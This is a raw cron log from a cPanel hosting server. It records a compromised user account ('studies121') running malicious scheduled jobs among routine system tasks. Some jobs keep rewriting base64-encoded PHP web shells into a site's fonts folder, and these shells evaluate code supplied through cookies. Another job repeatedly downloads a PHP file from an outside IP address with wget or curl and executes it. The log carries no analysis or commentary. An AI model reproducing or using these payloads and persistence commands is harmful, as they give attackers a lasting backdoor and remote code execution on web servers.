Sep  7 07:24:01 ip-184-168-122-23 CROND[16119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:24:01 ip-184-168-122-23 CROND[16122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:24:01 ip-184-168-122-23 CROND[16123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:25:01 ip-184-168-122-23 CROND[16234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:25:01 ip-184-168-122-23 CROND[16236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:25:01 ip-184-168-122-23 CROND[16237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:25:01 ip-184-168-122-23 CROND[16238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:25:01 ip-184-168-122-23 CROND[16239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:25:01 ip-184-168-122-23 CROND[16241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:26:01 ip-184-168-122-23 CROND[16487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:26:01 ip-184-168-122-23 CROND[16489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:26:01 ip-184-168-122-23 CROND[16490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:26:01 ip-184-168-122-23 CROND[16491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:26:01 ip-184-168-122-23 CROND[16492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:27:01 ip-184-168-122-23 CROND[16662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:27:01 ip-184-168-122-23 CROND[16663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:27:01 ip-184-168-122-23 CROND[16665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:27:01 ip-184-168-122-23 CROND[16664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:28:01 ip-184-168-122-23 CROND[16763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:28:01 ip-184-168-122-23 CROND[16764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:28:01 ip-184-168-122-23 CROND[16765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:28:01 ip-184-168-122-23 CROND[16766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:28:01 ip-184-168-122-23 CROND[16767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:29:01 ip-184-168-122-23 CROND[16860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:29:01 ip-184-168-122-23 CROND[16861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:29:01 ip-184-168-122-23 CROND[16862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:29:01 ip-184-168-122-23 CROND[16864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:30:01 ip-184-168-122-23 CROND[16974]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:30:01 ip-184-168-122-23 CROND[16977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:30:01 ip-184-168-122-23 CROND[16980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:30:01 ip-184-168-122-23 CROND[16981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:30:01 ip-184-168-122-23 CROND[16983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:30:01 ip-184-168-122-23 CROND[16986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:30:01 ip-184-168-122-23 CROND[16985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:30:01 ip-184-168-122-23 CROND[16984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:31:01 ip-184-168-122-23 CROND[17185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:31:01 ip-184-168-122-23 CROND[17186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:31:01 ip-184-168-122-23 CROND[17189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:31:01 ip-184-168-122-23 CROND[17188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:31:01 ip-184-168-122-23 CROND[17190]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 07:32:01 ip-184-168-122-23 CROND[17405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:32:01 ip-184-168-122-23 CROND[17404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:32:01 ip-184-168-122-23 CROND[17407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:32:01 ip-184-168-122-23 CROND[17406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:32:01 ip-184-168-122-23 CROND[17408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:33:01 ip-184-168-122-23 CROND[17528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:33:01 ip-184-168-122-23 CROND[17530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:33:01 ip-184-168-122-23 CROND[17531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:33:01 ip-184-168-122-23 CROND[17532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:34:01 ip-184-168-122-23 CROND[17711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:34:01 ip-184-168-122-23 CROND[17710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:34:01 ip-184-168-122-23 CROND[17712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:34:01 ip-184-168-122-23 CROND[17709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:34:01 ip-184-168-122-23 CROND[17713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:35:01 ip-184-168-122-23 CROND[17839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:35:01 ip-184-168-122-23 CROND[17843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:35:01 ip-184-168-122-23 CROND[17845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:35:01 ip-184-168-122-23 CROND[17841]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 07:35:01 ip-184-168-122-23 CROND[17842]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 07:35:01 ip-184-168-122-23 CROND[17844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:35:01 ip-184-168-122-23 CROND[17846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:35:01 ip-184-168-122-23 CROND[17840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:36:01 ip-184-168-122-23 CROND[17997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:36:01 ip-184-168-122-23 CROND[17998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
